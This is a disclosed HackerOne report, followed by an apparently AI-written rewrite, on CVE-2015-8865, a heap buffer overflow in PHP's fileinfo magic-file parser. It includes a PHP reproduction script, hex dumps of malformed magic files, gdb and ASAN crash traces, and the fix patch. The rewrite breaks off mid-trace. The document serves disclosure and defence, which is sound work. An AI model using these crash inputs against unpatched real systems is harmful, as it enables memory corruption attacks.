Skip to content
Memory corruption Disclosed report Advanced CVE-2015-8865

Buffer over-write in finfo_open with malformed magic file.

A malformed magic file with many '>' characters causes a buffer overflow in PHP's fileinfo extension when parsing the file. An attacker could write beyond the allocated buffer, leading to memory corruption and possibly remote code execution.

haquaman Follow

Originally disclosed on HackerOne

Bounty$1,500 High 7.3 View original
  • Triaged in 4 months
  • Fixed in 21 months
  • Paid in 21 months
  • Disclosed after 22 months

https://bugs.php.net/bug.php?id=71527

This bug causes a segfault when running with environment variable USE_ZEND_ALLOC set to 0, and also when compiled with ASAN with USE_ZEND_ALLOC set and unset.

To reproduce, run the following PHP file, with the example magic file below.

$ cat magic-open.php

<?php $finfo = finfo_open(FILEINFO_NONE, $argv[1]); $info = finfo_file($finfo, $argv[2]); var_dump($info); ?>

Magic file is (used without ASAN): $ xxd -g 1 magic.crash-noasan 0000000: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e >>>>>>>>>>>>>>>> 0000010: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e >>>>>>>>>>>>>>>

$ cat magic.crash-noasan

Magic file is (used with ASAN): $ xxd -g 1 magic.crash-asan 0000000: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e >>>>>>>>>>>>>>>> 0000010: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e >>>>>>>>>>>>>>>> 0000020: 71 3e 3e 3e 3e 3e 3e 3e 3e 0a 00 q>>>>>>>>..

$ cat magic.crash-asan

q>>>>>>>>

Then run the program like:

./sapi/cli/php magic-open.php magic.crash /dev/null

You will get the following when NOT compiled with ASAN, and USE_ZEND_ALLOC is UNSET (no crash).

$ ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Warning: finfo_open(): Failed to load magic database at '/root/php-src/magic.crash-noasan'. in /root/php-src/magic-open.php on line 2

Warning: finfo_file() expects parameter 1 to be resource, boolean given in /root/php-src/magic-open.php on line 3 bool(false)

You will get the following when NOT compiled with ASAN, and USE_ZEND_ALLOC is set to 0 (crash).

$ USE_ZEND_ALLOC=0 ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null Segmentation fault

$ USE_ZEND_ALLOC=0 gdb --args ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null
<snip> (gdb) r Starting program: /root/php-src/php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Program received signal SIGSEGV, Segmentation fault. _int_malloc (av=0x7ffff76ae760 <main_arena>, bytes=79) at malloc.c:3489 3489 malloc.c: No such file or directory. (gdb) bt #0 _int_malloc (av=0x7ffff76ae760 <main_arena>, bytes=79) at malloc.c:3489 #1 0x00007ffff73727b0 in __GI___libc_malloc (bytes=79) at malloc.c:2891 #2 0x0000000000a9fb44 in xbuf_format_converter (xbuf=xbuf@entry=0x7fffffff9d30, fmt=fmt@entry=0x1188930 "Failed to load magic database at '%s'.", ap=ap@entry=0x7fffffff9e30) at /root/php-src/main/spprintf.c:245 #3 0x0000000000aa260d in vspprintf (pbuf=pbuf@entry=0x7fffffff9d90, max_len=max_len@entry=0, format=format@entry=0x1188930 "Failed to load magic database at '%s'.", ap=ap@entry=0x7fffffff9e30) at /root/php-src/main/spprintf.c:821 #4 0x0000000000a88caf in php_verror (docref=0x0, params=params@entry=0x116a24a "", type=type@entry=2, format=format@entry=0x1188930 "Failed to load magic database at '%s'.", args=args@entry=0x7fffffff9e30) at /root/php-src/main/main.c:786 #5 0x0000000000a8a644 in php_error_docref0 (docref=docref@entry=0x0, type=type@entry=2, format=format@entry=0x1188930 "Failed to load magic database at '%s'.") at /root/php-src/main/main.c:965 #6 0x00000000006e6338 in zif_finfo_open (ht=<optimized out>, return_value=0x18779b0, return_value_ptr=<optimized out>, this_ptr=0x0, return_value_used=<optimized out>) at /root/php-src/ext/fileinfo/fileinfo.c:348 #7 0x00000000010702a0 in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/php-src/Zend/zend_vm_execute.h:558 #8 0x0000000000e40689 in execute_ex (execute_data=0x1844f10) at /root/php-src/Zend/zend_vm_execute.h:363 #9 0x0000000000d0409d in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /root/php-src/Zend/zend.c:1341 #10 0x0000000000a92d42 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd4a0) at /root/php-src/main/main.c:2610 #11 0x000000000107b1d1 in do_cli (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:994 #12 0x00000000004212e9 in main (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:1378 (gdb) x/i $rip => 0x7ffff736ff31 <_int_malloc+689>: mov %r14,0x10(%r9) (gdb) i r rax 0x7fffffff939f 140737488327583 rbx 0x7ffff76ae760 140737344366432 rcx 0x0 0 rdx 0x7ffff76ae788 140737344366472 rsi 0x7a0 1952 rdi 0x7ffff76ae760 140737344366432 rbp 0x60 0x60 rsp 0x7fffffff9310 0x7fffffff9310 r8 0x4 4 r9 0x0 0 r10 0x0 0 r11 0x416c20 4287520 r12 0x1878bb0 25660336 r13 0x6 6 r14 0x7ffff76ae7b8 140737344366520 r15 0x2710 10000 rip 0x7ffff736ff31 0x7ffff736ff31 <_int_malloc+689> eflags 0x10287 [ CF PF SF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0

When compiled WITH ASAN, and USE_ZEND_ALLOC is unset (crash). $ ./php-5.6.18-asan magic-open.php magic.crash-asan /dev/null ASAN:SIGSEGV

==20824== ERROR: AddressSanitizer: SEGV on unknown address 0x00000001f168 (pc 0x000000f9d7d4 sp 0x7ffc11db3770 bp 0x000000000000 T0) AddressSanitizer can not provide additional info. #0 0xf9d7d3 in zend_mm_remove_from_free_list /root/php-src/Zend/zend_alloc.c:809 #1 0xfa35f2 in _zend_mm_alloc_int /root/php-src/Zend/zend_alloc.c:2021 #2 0xddffe7 in xbuf_format_converter /root/php-src/main/spprintf.c:794 #3 0xde6b75 in vspprintf /root/php-src/main/spprintf.c:821 #4 0xde6b75 in spprintf /root/php-src/main/spprintf.c:840 #5 0xdc0d47 in php_verror /root/php-src/main/main.c:852 #6 0xdc142a in php_error_docref0 /root/php-src/main/main.c:965 #7 0x7fe8ca in zif_finfo_open /root/php-src/ext/fileinfo/fileinfo.c:348 #8 0x17f7969 in zend_do_fcall_common_helper_SPEC /root/php-src/Zend/zend_vm_execute.h:558 #9 0x139d03d in execute_ex /root/php-src/Zend/zend_vm_execute.h:363 #10 0x11816fa in zend_execute_scripts /root/php-src/Zend/zend.c:1341 #11 0xdcb6f1 in php_execute_script /root/php-src/main/main.c:2610 #12 0x1806199 in do_cli /root/php-src/sapi/cli/php_cli.c:994 #13 0x43622f in main /root/php-src/sapi/cli/php_cli.c:1378 #14 0x7f87f6409ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #15 0x4373ac in _start (/root/php-src/php-5.6.18-asan+0x4373ac) SUMMARY: AddressSanitizer: SEGV /root/php-src/Zend/zend_alloc.c:809 zend_mm_remove_from_free_list ==20824== ABORTING Aborted

And compiled with ASAN and USE_ZEND_ALLOC set to 0:

$ USE_ZEND_ALLOC=0 ./php-5.6.18-asan magic-open.php magic.crash-asan /dev/null

==20849== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60340000cd04 at pc 0x8664d0 bp 0x7ffcc02d84b0 sp 0x7ffcc02d84a8 WRITE of size 4 at 0x60340000cd04 thread T0 #0 0x8664cf in file_check_mem /root/php-src/ext/fileinfo/libmagic/funcs.c:426 #1 0x80cd7b in parse /root/php-src/ext/fileinfo/libmagic/apprentice.c:1520 #2 0x80cd7b in load_1 /root/php-src/ext/fileinfo/libmagic/apprentice.c:1022 #3 0x8184aa in apprentice_load /root/php-src/ext/fileinfo/libmagic/apprentice.c:1215 #4 0x81c6dc in apprentice_1 /root/php-src/ext/fileinfo/libmagic/apprentice.c:417 #5 0x823594 in file_apprentice /root/php-src/ext/fileinfo/libmagic/apprentice.c:603 #6 0x7fe571 in zif_finfo_open /root/php-src/ext/fileinfo/fileinfo.c:347 #7 0x17f7969 in zend_do_fcall_common_helper_SPEC /root/php-src/Zend/zend_vm_execute.h:558 #8 0x139d03d in execute_ex /root/php-src/Zend/zend_vm_execute.h:363 #9 0x11816fa in zend_execute_scripts /root/php-src/Zend/zend.c:1341 #10 0xdcb6f1 in php_execute_script /root/php-src/main/main.c:2610 #11 0x1806199 in do_cli /root/php-src/sapi/cli/php_cli.c:994 #12 0x43622f in main /root/php-src/sapi/cli/php_cli.c:1378 #13 0x7f773df01ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #14 0x4373ac in _start (/root/php-src/php-5.6.18-asan+0x4373ac) 0x60340000cd04 is located 36 bytes to the right of 480-byte region [0x60340000cb00,0x60340000cce0) allocated by thread T0 here: #0 0x7f773e9df55f (/usr/lib/x86_64-linux-gnu/libasan.so.0+0x1555f) #1 0x8662ab in file_check_mem /root/php-src/ext/fileinfo/libmagic/funcs.c:418 SUMMARY: AddressSanitizer: heap-buffer-overflow /root/php-src/ext/fileinfo/libmagic/funcs.c:429 file_check_mem Shadow bytes around the buggy address: 0x0c06ffff9950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06ffff9960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c06ffff9970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c06ffff9980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c06ffff9990: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa =>0x0c06ffff99a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06ffff99b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c06ffff99c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c06ffff99d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c06ffff99e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c06ffff99f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap righ redzone: fb Freed Heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==20849== ABORTING Aborted

Right, so those are all the possible crash states, the patch to fix is simple:

diff --git a/ext/fileinfo/libmagic/funcs.c b/ext/fileinfo/libmagic/funcs.c index bd6d3d5..aefb95d 100644 --- a/ext/fileinfo/libmagic/funcs.c +++ b/ext/fileinfo/libmagic/funcs.c @@ -414,7 +414,7 @@ file_check_mem(struct magic_set *ms, unsigned int level) size_t len;

    if (level >= ms->c.len) {
  •           len = (ms->c.len += 20) * sizeof(*ms->c.li);
    
  •           while (level >= ms->c.len) len = (ms->c.len += 20) * sizeof(*ms->c.li);
              ms->c.li = CAST(struct level_info *, (ms->c.li == NULL) ?
                  emalloc(len) :
                  erealloc(ms->c.li, len));
    

Reasoning for that patch is with these tests, level is set to either 31 (noasan test file), or 32 (asan test file), and ms->c.len is 10. Originally it added 20 to the length, then realloc'd the memory chunk, then indexed into the memory at position "level". This overflowed the memory, and a write occurred. This patch ensures that the memory length is over the size of level.

You can see this from some gdb sessions:

$ gdb -ex 'break file_check_mem' -ex run -ex bt -ex 'p ms->c.len' -ex quit --args ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null <snip> Breakpoint 1 at 0x7235a0: file /root/php-src/ext/fileinfo/libmagic/funcs.c, line 413. Starting program: /root/php-src/php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Breakpoint 1, file_check_mem (ms=ms@entry=0x1879810, level=level@entry=31) at /root/php-src/ext/fileinfo/libmagic/funcs.c:413 413 { #0 file_check_mem (ms=ms@entry=0x1879810, level=level@entry=31) at /root/php-src/ext/fileinfo/libmagic/funcs.c:413 #1 0x00000000006f1f3a in parse (action=<optimized out>, lineno=<optimized out>, line=0x7fffffff5bd0 '>' <repeats 31 times>, me=0x7fffffff5bc0, ms=<optimized out>) at /root/php-src/ext/fileinfo/libmagic/apprentice.c:1520 #2 load_1 (ms=ms@entry=0x1879810, action=action@entry=0, fn=fn@entry=0x18779e0 "/root/php-src/magic.crash-noasan", errs=errs@entry=0x7fffffff7c60, mset=mset@entry=0x7fffffff7c70) at /root/php-src/ext/fileinfo/libmagic/apprentice.c:1022 #3 0x00000000006f9a03 in apprentice_load (ms=ms@entry=0x1879810, fn=fn@entry=0x18779e0 "/root/php-src/magic.crash-noasan", action=action@entry=0) at /root/php-src/ext/fileinfo/libmagic/apprentice.c:1215 #4 0x00000000006fdfa6 in apprentice_1 (ms=0x1879810, fn=0x18779e0 "/root/php-src/magic.crash-noasan", action=0) at /root/php-src/ext/fileinfo/libmagic/apprentice.c:417 #5 0x00000000006fffae in file_apprentice (ms=0x1879810, fn=0x18779e0 "/root/php-src/magic.crash-noasan", action=0) at /root/php-src/ext/fileinfo/libmagic/apprentice.c:603 #6 0x0000000000725bb7 in magic_load (ms=<optimized out>, magicfile=<optimized out>) at /root/php-src/ext/fileinfo/libmagic/magic.c:267 #7 0x00000000006e61e5 in zif_finfo_open (ht=<optimized out>, return_value=0x18779b0, return_value_ptr=<optimized out>, this_ptr=0x0, return_value_used=<optimized out>) at /root/php-src/ext/fileinfo/fileinfo.c:347 #8 0x00000000010702a0 in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/php-src/Zend/zend_vm_execute.h:558 #9 0x0000000000e40689 in execute_ex (execute_data=0x1844f10) at /root/php-src/Zend/zend_vm_execute.h:363 #10 0x0000000000d0409d in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /root/php-src/Zend/zend.c:1341 #11 0x0000000000a92d42 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd4a0) at /root/php-src/main/main.c:2610 #12 0x000000000107b1d1 in do_cli (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:994 #13 0x00000000004212e9 in main (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:1378 $1 = 10

So looking at the possible attacks, without asan, and not using zend alloc, we have a segfault in alloc, where alloc is presumably trying to determine free space from unassigned memory that we wrote to when overflowing, this causes a crash. This is backed up when we look at the stack trace of when we run with asan, and using zend_alloc, where we get a segfault in zend_mm_remove_from_free_list, which is caused by a call to ZEND_MM_CHECK_TREE with a mm_block with an invalid parent pointer.

Running with asan, and not using zend alloc, pinpoints the location of the buffer overwrite, to be in file_check_mem, where we patched.

After the patch, there are no crashes, and you get the message the same as running without asan and with zend alloc.

Thanks for taking the time to read this report, sorry it was such a long one, just wanted to get across all the different scenarios.

--

Upstream bug for libmagic was reported at http://bugs.gw.com/view.php?id=522

This was fixed with a slightly different patch from upstream libmagic and applied to PHP

Impact

Can write arbitrary memory after the buffer, which leads to memory corruption and possibly remote code execution

The original report as published on HackerOne, by haquaman. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

Context

PHP's fileinfo extension exposes finfo_open() and finfo_file(), which load a magic database (the same kind of file the file command uses) and use it to identify the type of a file's contents. The magic database is a text file of rules, and PHP bundles a copy of libmagic to parse it. finfo_open() accepts a path to a magic file as its second argument, so the parser is reachable with attacker-supplied input whenever an application lets a user point PHP at a magic file.

The bug is a heap buffer overflow in the libmagic parser inside PHP: a malformed magic file causes a write past the end of an allocated array of struct level_info. The report demonstrates it against PHP 5.6.18, both with and without AddressSanitizer and with and without the Zend memory manager.

Setup

The report uses two PHP 5.6.18 binaries, php-5.6.18-noasan and php-5.6.18-asan, run through the CLI SAPI. The relevant environment variable is USE_ZEND_ALLOC: setting it to 0 disables the Zend memory manager so that allocations go to the system malloc, which changes how the corruption manifests. The test harness is a small PHP script that opens a magic file given as the first argument and inspects a file given as the second:

PHP
<?php
$finfo = finfo_open(FILEINFO_NONE, $argv[1]);
$info = finfo_file($finfo, $argv[2]);
var_dump($info);
?>

Two magic files are used. The first, for the non-ASAN build, is 31 > characters:

Its hex dump:

Text
0000000: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e  >>>>>>>>>>>>>>>>
0000010: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e     >>>>>>>>>>>>>>>

The second, for the ASAN build, is 32 > characters followed by q, eight more >, a newline and a NUL byte:

Its hex dump:

Text
0000000: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e  >>>>>>>>>>>>>>>>
0000010: 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e  >>>>>>>>>>>>>>>>
0000020: 71 3e 3e 3e 3e 3e 3e 3e 3e 0a 00                 q>>>>>>>>..

The program is invoked as:

Bash
./sapi/cli/php magic-open.php magic.crash /dev/null

Finding it

The trigger is a magic file consisting of a long run of > characters. In libmagic's rule syntax, > at the start of a line means a continuation at a deeper level, so a line of nothing but > characters drives the parser's nesting level up without any valid rule content. The parser tracks that nesting level and calls file_check_mem() to make sure its per-level bookkeeping array is large enough. With 31 or 32 levels, the array was not grown far enough, and the parser wrote past the end of it.

The researcher noticed the crash was conditional on the allocator. Without ASAN and with the Zend allocator active, the malformed file produced no crash at all: finfo_open() simply failed to load the database and returned false. With the Zend allocator disabled, the same input segfaulted. With ASAN, both allocator configurations crashed, and the ASAN build with USE_ZEND_ALLOC=0 pinpointed the write itself. That pattern, a crash that appears or disappears depending on which allocator is in use, is the signal that memory is being corrupted rather than merely misused.

Exploitation

Step 1: baseline, no ASAN and Zend allocator active

Bash
$ ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Warning: finfo_open(): Failed to load magic database at '/root/php-src/magic.crash-noasan'. in /root/php-src/magic-open.php on line 2

Warning: finfo_file() expects parameter 1 to be resource, boolean given in /root/php-src/magic-open.php on line 3
bool(false)

No crash. The magic database is rejected, finfo_open() returns false, and the subsequent finfo_file() call warns about the wrong argument type. No crash occurred in this configuration.

Step 2: no ASAN, Zend allocator disabled

Bash
 $ USE_ZEND_ALLOC=0 ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null
Segmentation fault

With allocations going to glibc, the same input crashes. Under gdb:

Bash
 $ USE_ZEND_ALLOC=0 gdb --args ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null
Text
(gdb) r
Starting program: /root/php-src/php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Program received signal SIGSEGV, Segmentation fault.
_int_malloc (av=0x7ffff76ae760 <main_arena>, bytes=79) at malloc.c:3489
3489    malloc.c: No such file or directory.
(gdb) bt
#0  _int_malloc (av=0x7ffff76ae760 <main_arena>, bytes=79) at malloc.c:3489
#1  0x00007ffff73727b0 in __GI___libc_malloc (bytes=79) at malloc.c:2891
#2  0x0000000000a9fb44 in xbuf_format_converter (xbuf=xbuf@entry=0x7fffffff9d30, fmt=fmt@entry=0x1188930 "Failed to load magic database at '%s'.",
    ap=ap@entry=0x7fffffff9e30) at /root/php-src/main/spprintf.c:245
#3  0x0000000000aa260d in vspprintf (pbuf=pbuf@entry=0x7fffffff9d90, max_len=max_len@entry=0, format=format@entry=0x1188930 "Failed to load magic database at '%s'.",
    ap=ap@entry=0x7fffffff9e30) at /root/php-src/main/spprintf.c:821
#4  0x0000000000a88caf in php_verror (docref=0x0, params=params@entry=0x116a24a "", type=type@entry=2,
    format=format@entry=0x1188930 "Failed to load magic database at '%s'.", args=args@entry=0x7fffffff9e30) at /root/php-src/main/main.c:786
#5  0x0000000000a8a644 in php_error_docref0 (docref=docref@entry=0x0, type=type@entry=2, format=format@entry=0x1188930 "Failed to load magic database at '%s'.")
    at /root/php-src/main/main.c:965
#6  0x00000000006e6338 in zif_finfo_open (ht=<optimized out>, return_value=0x18779b0, return_value_ptr=<optimized out>, this_ptr=0x0, return_value_used=<optimized out>)
    at /root/php-src/ext/fileinfo/fileinfo.c:348
#7  0x00000000010702a0 in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /root/php-src/Zend/zend_vm_execute.h:558
#8  0x0000000000e40689 in execute_ex (execute_data=0x1844f10) at /root/php-src/Zend/zend_vm_execute.h:363
#9  0x0000000000d0409d in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /root/php-src/Zend/zend.c:1341
#10 0x0000000000a92d42 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd4a0) at /root/php-src/main/main.c:2610
#11 0x000000000107b1d1 in do_cli (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:994
#12 0x00000000004212e9 in main (argc=4, argv=0x17588a0) at /root/php-src/sapi/cli/php_cli.c:1378
(gdb) x/i $rip
=> 0x7ffff736ff31 <_int_malloc+689>:    mov    %r14,0x10(%r9)
(gdb) i r
rax            0x7fffffff939f   140737488327583
rbx            0x7ffff76ae760   140737344366432
rcx            0x0      0
rdx            0x7ffff76ae788   140737344366472
rsi            0x7a0    1952
rdi            0x7ffff76ae760   140737344366432
rbp            0x60     0x60
rsp            0x7fffffff9310   0x7fffffff9310
r8             0x4      4
r9             0x0      0
r10            0x0      0
r11            0x416c20 4287520
r12            0x1878bb0        25660336
r13            0x6      6
r14            0x7ffff76ae7b8   140737344366520
r15            0x2710   10000
rip            0x7ffff736ff31   0x7ffff736ff31 <_int_malloc+689>
eflags         0x10287  [ CF PF SF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

The fault is inside glibc's _int_malloc, reached from xbuf_format_converter while formatting the "Failed to load magic database" warning. The allocator is walking its own free-list structures and finds them corrupted. The researcher's reading is that the allocator is trying to determine free space from memory the overflow wrote to. Note that the crash happens on the error path, after the magic file has already been rejected.

Step 3: ASAN build, Zend allocator active

Bash
 $ ./php-5.6.18-asan magic-open.php magic.crash-asan /dev/null
ASAN:SIGSEGV
=================================================================
==20824== ERROR: AddressSanitizer: SEGV on unknown address 0x00000001f168 (pc 0x000000f9d7d4 sp 0x7ffc11db3770 bp 0x000000000000 T0)
AddressSanitizer can not provide additional info.
    #0 0xf9d7d3 in zend_mm_remove_from_free_list /root/php-src/Zend/zend_alloc.c:809
    #1 0xfa35f2 in _zend_mm_alloc_int /root/php-src/Zend/zend_alloc.c:2021
    #2 0xddffe7 in xbuf_format_converter /root/php-src/main/spprintf.c:794
    #3 0xde6b75 in vspprintf /root/php-src/main/spprintf.c:821
    #4 0xde6b75 in spprintf /root/php-src/main/spprintf.c:840
    #5 0xdc0d47 in php_verror /root/php-src/main/main.c:852
    #6 0xdc142a in php_error_docref0 /root/php-src/main/main.c:965
    #7  0x7fe8ca in zif_finfo_open /root/php-src/ext/fileinfo/fileinfo.c:348
    #8  0x17f7969 in zend_do_fcall_common_helper_SPEC /root/php-src/Zend/zend_vm_execute.h:558
    #9  0x139d03d in execute_ex /root/php-src/Zend/zend_vm_execute.h:363
    #10 0x11816fa in zend_execute_scripts /root/php-src/Zend/zend.c:1341
    #11 0xdcb6f1 in php_execute_script /root/php-src/main/main.c:2610
    #12 0x1806199 in do_cli /root/php-src/sapi/cli/php_cli.c:994
    #13 0x43622f in main /root/php-src/sapi/cli/php_cli.c:1378
    #14 0x7f87f6409ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #15 0x4373ac in _start (/root/php-src/php-5.6.18-asan+0x4373ac)
SUMMARY: AddressSanitizer: SEGV /root/php-src/Zend/zend_alloc.c:809 zend_mm_remove_from_free_list
==20824== ABORTING
Aborted

Here the fault is in zend_mm_remove_from_free_list, again reached from the warning formatting path. The researcher attributes this to ZEND_MM_CHECK_TREE being called on an mm_block whose parent pointer is invalid, which is consistent with the overflow having damaged the Zend allocator's block metadata.

Step 4: ASAN build, Zend allocator disabled

Bash
 $ USE_ZEND_ALLOC=0 ./php-5.6.18-asan magic-open.php magic.crash-asan /dev/null
=================================================================
==20849== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60340000cd04 at pc 0x8664d0 bp 0x7ffcc02d84b0 sp 0x7ffcc02d84a8
WRITE of size 4 at 0x60340000cd04 thread T0
    #0 0x8664cf in file_check_mem /root/php-src/ext/fileinfo/libmagic/funcs.c:426
    #1 0x80cd7b in parse /root/php-src/ext/fileinfo/libmagic/apprentice.c:1520
    #2 0x80cd7b in load_1 /root/php-src/ext/fileinfo/libmagic/apprentice.c:1022
    #3 0x8184aa in apprentice_load /root/php-src/ext/fileinfo/libmagic/apprentice.c:1215
    #4 0x81c6dc in apprentice_1 /root/php-src/ext/fileinfo/libmagic/apprentice.c:417
    #5 0x823594 in file_apprentice /root/php-src/ext/fileinfo/libmagic/apprentice.c:603
    #6 0x7fe571 in zif_finfo_open /root/php-src/ext/fileinfo/fileinfo.c:347
    #7 0x17f7969 in zend_do_fcall_common_helper_SPEC /root/php-src/Zend/zend_vm_execute.h:558
    #8 0x139d03d in execute_ex /root/php-src/Zend/zend_vm_execute.h:363
    #9 0x11816fa in zend_execute_scripts /root/php-src/Zend/zend.c:1341
    #10 0xdcb6f1 in php_execute_script /root/php-src/main/main.c:2610
    #11 0x1806199 in do_cli /root/php-src/sapi/cli/php_cli.c:994
    #12 0x43622f in main /root/php-src/sapi/cli/php_cli.c:1378
    #13 0x7f773df01ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #14 0x4373ac in _start (/root/php-src/php-5.6.18-asan+0x4373ac)
0x60340000cd04 is located 36 bytes to the right of 480-byte region [0x60340000cb00,0x60340000cce0)
allocated by thread T0 here:
    #0 0x7f773e9df55f (/usr/lib/x86_64-linux-gnu/libasan.so.0+0x1555f)
    #1 0x8662ab in file_check_mem /root/php-src/ext/fileinfo/libmagic/funcs.c:418
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/php-src/ext/fileinfo/libmagic/funcs.c:429 file_check_mem
Shadow bytes around the buggy address:
  0x0c06ffff9950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c06ffff9960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff9970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff9980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff9990: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
=>0x0c06ffff99a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c06ffff99b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff99c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff99d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff99e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c06ffff99f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==20849== ABORTING
Aborted

This is the decisive trace. ASAN reports a 4-byte write at file_check_mem (funcs.c:426), 36 bytes to the right of a 480-byte region that file_check_mem itself allocated at funcs.c:418. The call chain runs from zif_finfo_open through file_apprentice, apprentice_1, apprentice_load, load_1 and parse into file_check_mem. The write is the overflow, and it happens during parsing of the magic file, before any error is reported.

Step 5: confirming the level values

To confirm the mechanism, the researcher broke on file_check_mem and inspected the level and the current array length:

Bash
$ gdb -ex 'break file_check_mem' -ex run -ex bt -ex 'p ms->c.len' -ex quit --args ./php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null
Text
Breakpoint 1 at 0x7235a0: file /root/php-src/ext/fileinfo/libmagic/funcs.c, line 413.
Starting program: /root/php-src/php-5.6.18-noasan magic-open.php magic.crash-noasan /dev/null

Breakpoint 1, file_check_mem (ms=ms@entry=0x1879810, level=level@entry=31) at /root/php-src/ext/fileinfo/libmagic/funcs.c:413
413     {
#0  file_check_mem (ms=ms@entry=0x1879810, level=level@entry=31) at /root/php-src/ext/fileinfo/libmagic/funcs.c:413
#1  0x00000000006f1f3a in parse (action=<optimized out>, lineno=<optimized out>, line=0x7fffffff5bd0 '>' <repeats 31 times>, me=0x7fffffff5bc0, ms=<optimized out>)
    at /root/php-src/ext/fileinfo/libmagic/apprentice.c:1520
#2  load_1 (ms=ms@entry=0x1879810, action=action@entry=0, fn=fn@entry=0x18779e0 "/root/php-src/magic.crash-noasan", errs=errs@entry=0x7fffffff7c60,
    mset=mset@entry=0x7fffffff7c70) at /root/php-src/ext/fileinfo/libmagic/apprentice.c:1022
#3  0x00000000006f9a03 in apprentice_load (ms=ms@entry=0x1879810, fn=fn@entry=0x18779e0 "/root/php-src/magic.crash-noasan", action=action@entry=0)
    at /root/php-src/ext/fileinfo/libmagic/apprentice.c:1215
